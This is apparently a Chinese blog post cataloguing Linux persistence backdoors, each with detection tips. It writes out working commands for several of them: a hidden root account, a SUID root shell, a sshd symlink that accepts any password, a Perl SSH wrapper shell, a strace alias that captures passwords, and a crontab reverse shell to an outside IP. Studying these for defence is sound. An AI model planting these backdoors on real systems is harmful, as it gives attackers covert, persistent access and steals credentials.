[网络安全]Linux权限维持-后门篇

[网络安全]Linux权限维持-后门篇

拿到权限只是开始,藏住后门才是关键。

本文盘点Linux下常见的后门手法,助你知己知彼,守住阵地。

一.一句话添加用户

攻击者只需一行命令,就能悄无声息地创建普通用户root用户

bash 复制代码
# 添加普通用户(密码123456)
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

# 添加root用户(uid=0)
useradd -p `openssl passwd -1 123456` guest -o -u 0 -g root -G root


#删除新增的guest用户,删除后可远程登录的账号排查中就不会有guest用户
# 先终止该用户的所有进程(可选)
pkill -u guest

# 删除用户及其家目录/邮件池
userdel -r guest

排查技巧

  • 查看UID为0的特权用户:awk -F: '$3==0{print $1}' /etc/passwd
  • 检查可远程登录的帐号:awk '/\$1|\$6/{print $1}' /etc/shadow
  • 审计sudo权限:more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

二. SUID Shell

给bash或sh设置SUID位,普通用户执行时就能以文件所有者(通常是root) 的权限运行。

bash 复制代码
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
/tmp/shell -p   # 获取root shell

排查技巧

  • 查找所有SUID文件:find / -perm /4000 2>/dev/null
  • 取消SUID:chmod u-s /tmp/shell
shell 复制代码
-rwsr-xr-x  1 root     root     1446024  4月 16 10:22 shell*
#取消SUID后
-rwxr-xr-x  1 root     root     1446024  4月 16 10:22 shell*

三. SSH公私钥免密登录

攻击者将自己的公钥写入服务器的 ~/.ssh/authorized_keys,即可免密登录。

排查技巧

  • 检查 /root/.ssh/authorized_keys 是否有多余的公钥 ,直接cat打开查看
  • 定期审计各用户的 .ssh 目录
shell 复制代码
root@wh-VMware-Virtual-Platform:/tmp# cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHA5k7mcOs65HKbjf/mevIsbYJPU9gRne/INmxEwlN+oHyCF6Rg8LM0Fv99Ryj1xSAk39ow6zmPMttKmsjpmB9WG3wpu/6Cv1KLCLIaZ2gc84qCA8Quh4LuDZHG93l2P3OjV0Mied6kXeIlmCFxrzI33lu49Zzyqxc08GSppvWgFot7i6aZqg0kJZJdjZ+syAGFmIBSltrvBz2mtwOMfe

四. 软链接后门(任意密码登录)

利用PAM认证的 pam_rootok.so 模块,通过软链接启动sshd,实现任意密码登录

bash 复制代码
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=8888
# 连接:ssh root@IP -p 8888,任意密码都能登录
shell 复制代码
root@wh-VMware-Virtual-Platform:/tmp# ln -sf /usr/sbin/sshd /tmp/su
root@wh-VMware-Virtual-Platform:/tmp# /tmp/su -oPort=8888
root@wh-VMware-Virtual-Platform:/tmp# netstat -anp | grep :8888
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      2532926/su: /tmp/su 
tcp6       0      0 :::8888                 :::*                    LISTEN      2532926/su: /tmp/su 

直接免密登录:

shell 复制代码
C:\Users\xxx>ssh root@192.168.xx.xx -p 8888
Last login: Wed Apr 15 16:57:36 2026 from 192.xxx.xxx.1
root@wh-VMware-Virtual-Platform:~#
root@wh-VMware-Virtual-Platform:~#
root@wh-VMware-Virtual-Platform:~#

排查技巧

  • 检查异常监听的端口:netstat -anp | grep :8888
  • 结束对应进程即可清除,kill -9 pid 以及删除软连接 rm -f /tmp/su

五. SSH Wrapper 后门

通过修改 /usr/sbin/sshd 脚本,判断客户端源端口(如19526),匹配成功则直接返回shell。

服务端 (将脚本写入 /usr/sbin/sshd):

perl 复制代码
#!/usr/bin/perl
exec "/bin/sh" if(getpeername(STDIN) =~ /^..LF/);
exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV;

客户端(使用源端口19526连接):

bash 复制代码
socat STDIO TCP4:target:22,sourceport=19526

排查技巧

  • 检查 /usr/sbin/sshd 是否为正常二进制
  • 重装openssh-server即可恢复

六. strace 后门(记录SSH密码)

通过alias劫持ssh命令,利用 strace 记录所有读写和连接操作,从而捕获明文密码。

bash 复制代码
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
source ~/.bashrc

排查技巧

  • 执行 alias 查看是否被劫持
  • 检查 ~/.bashrc/etc/bashrc 中是否有可疑alias

七. Crontab 反弹Shell

通过定时任务定期执行反弹shell脚本,实现持久化控制。

bash 复制代码
# 创建反弹脚本 /etc/evil.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1

# 添加定时任务(每分钟执行)
echo '*/1 * * * * root /etc/evil.sh' >> /etc/crontab
service crond restart

排查技巧

  • 检查当前用户的crontab:crontab -l
  • 检查系统crontab:cat /etc/crontab/etc/cron.d/*

八. OpenSSH 后门

重新编译OpenSSH,植入后门密码(如 123456789),并记录所有登录成功的用户名密码到指定文件(如 /tmp/1.txt)。

排查技巧

  • 对比 sshd 二进制文件的md5
  • 使用 strace 跟踪sshd进程,查看它打开了哪些文件
  • 检查 /tmp/1.txt 等可疑日志文件

九. PAM 后门

修改PAM模块源码(pam_unix_auth.c),添加万能密码,同时记录用户真实密码到文件。

排查技巧

  • 检查PAM模块文件的修改时间:stat /lib64/security/pam_unix.so
  • 对比原始版本的文件hash

十. Rootkit 后门(如Mafix)

通过替换系统命令(ps、ls、netstat等)或劫持内核模块,隐藏进程、文件、网络连接。

例如Mafix伪造SSH漏洞,可自定义端口和密码登录。

排查技巧

  • 使用 rpm -Va 校验被替换的系统命令
  • 使用 unhide 扫描隐藏进程
  • 使用 chkrootkitrkhunter 工具扫描

结语

未知攻,焉知防。

以上后门技术涵盖了用户、文件、进程、网络、认证等多个层面。作为防守方,应做到:

  • 定期审计:用户、SUID文件、计划任务、SSH密钥、服务端口
  • 基线校验:对比关键二进制文件(sshd、ps、ls)的hash
  • 日志监控:开启auth.log、secure日志,并发送到远程
  • 工具辅助 :使用 rkhunterchkrootkitauditdSysdig

只有了解攻击者的"藏身之术",才能有的放矢地加固系统。
安全之路,你我同行。


本文仅用于技术研究与防御学习,请勿用于非法用途。

相关推荐
数字护盾(和中)1 小时前
智能防御时代来临!AI + 网络安全破解攻防不对称难题
人工智能·安全·web安全
Fanfanaas1 小时前
Linux 系统编程 进程篇 (三)
linux·运维·服务器·c语言·单片机·学习
历程里程碑1 小时前
Linux 50 IP协议深度解析:从报头结构到子网划分与NAT
java·linux·开发语言·网络·c++·python·智能路由器
九天鸟1 小时前
ESXI里面虚拟机服务器始终保持免用户认证状态
linux·运维·centos
青城山下————1 小时前
CentOS 7 安装 Redis(使用默认 6379 端口)完整实践与踩坑总结
linux·redis·centos
wanhengidc1 小时前
如何有效防范网络安全威胁
运维·服务器·网络·网络协议·安全·web安全·智能手机
王琦03182 小时前
第十一章 管理Linux软件包和进程
linux·运维·服务器
lightqjx2 小时前
【Linux】Linux工具(yum、vim、gcc/g++、make/makefile、gdb)的详细介绍
linux·vim·gdb·yum·gcc/g++·linux工具·make/makefile
念恒123062 小时前
Linux基础开发工具(git篇)
linux·c语言·git